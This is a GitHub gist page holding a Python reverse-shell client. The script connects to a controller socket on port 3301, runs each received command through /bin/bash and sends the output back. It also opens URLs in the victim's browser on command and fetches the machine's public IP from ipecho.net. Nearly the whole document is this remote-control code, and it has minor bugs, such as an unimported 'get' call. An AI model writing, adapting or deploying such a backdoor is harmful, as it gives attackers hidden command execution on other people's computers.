Skip to content

Instantly share code, notes, and snippets.

@UlisseMini
Created September 12, 2018 20:38
Show Gist options
  • Save UlisseMini/786d79009c65e30501fccb988497ace1 to your computer and use it in GitHub Desktop.
Save UlisseMini/786d79009c65e30501fccb988497ace1 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
import os
import socket
import subprocess
import sys
from webbrowser import open_new
# Create a socket
def socket_create():
try:
global host
global port
global s
global shellnum
global ip
try:
ip = get('http://ipecho.net/plain').text
except:
print('Unable to fetch ip, setting it to 127.0.0.1 instead')
ip = '127.0.0.1'
host = '127.0.0.1'
shellnum = 1
port = 3301
s = socket.socket()
except socket.error as msg:
print("Socket creation error: \n" + str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print("Socket connection error: " + str(msg))
# Receive commands from remote server and run on local machine
def receive_commands():
global s
global shellnum
shell = create_shell()
s.sendall(shell.encode())
while True:
shell = create_shell()
data = s.recv(1024)
data = data.decode()
data = data.strip()
if data[:2] == 'cd':
try:
os.chdir(data[3:])
shell = create_shell()
s.sendall(shell.encode())
except:
response = 'cd: '+data[3:]+': No such file or directory\n'
s.sendall(response.encode()+create_shell().encode())
elif data == 'exit':
s.sendall('Goodbye\n'.encode())
s.close()
sys.exit()
elif data.startswith('url'):
if data[4:].startswith('http://'):
open_new(data[4:])
response = 'Opened '+data+'\n'+create_shell()
s.sendall(response.encode())
elif data[4:].startswith('https://'):
open_new(data[4:])
response = 'Opened '+data+'\n'+create_shell()
s.sendall(response.encode())
data = 'http://'+data[4:]
open_new(data)
response = 'Opened '+data+'\n'+create_shell()
s.sendall(response.encode())
elif data == 'shell':
if shellnum == 1:
shellnum = 2
elif shellnum == 2:
shellnum = 1
s.sendall(create_shell().encode())
elif data == 'rickroll':
open_new('http://www.youtube.com/watch?v=dQw4w9WgXcQ')
response = 'Opened '+data+'\n'+create_shell()
s.sendall(response.encode())
elif len(data) > 0:
cmd = subprocess.Popen('/bin/bash', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = cmd.communicate(data.encode())
s.sendall(out+err+create_shell().encode())
s.close()
# Shell creation function
def create_shell():
global ip
user = subprocess.check_output('whoami')
user = user.decode()
user = user.strip()
if shellnum == 1:
shell = os.getcwd() + '> '
elif shellnum == 2:
shell = user+'@'+ip+':~$ '
else:
shell = '$ '
return shell
def main():
socket_create()
socket_connect()
receive_commands()
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment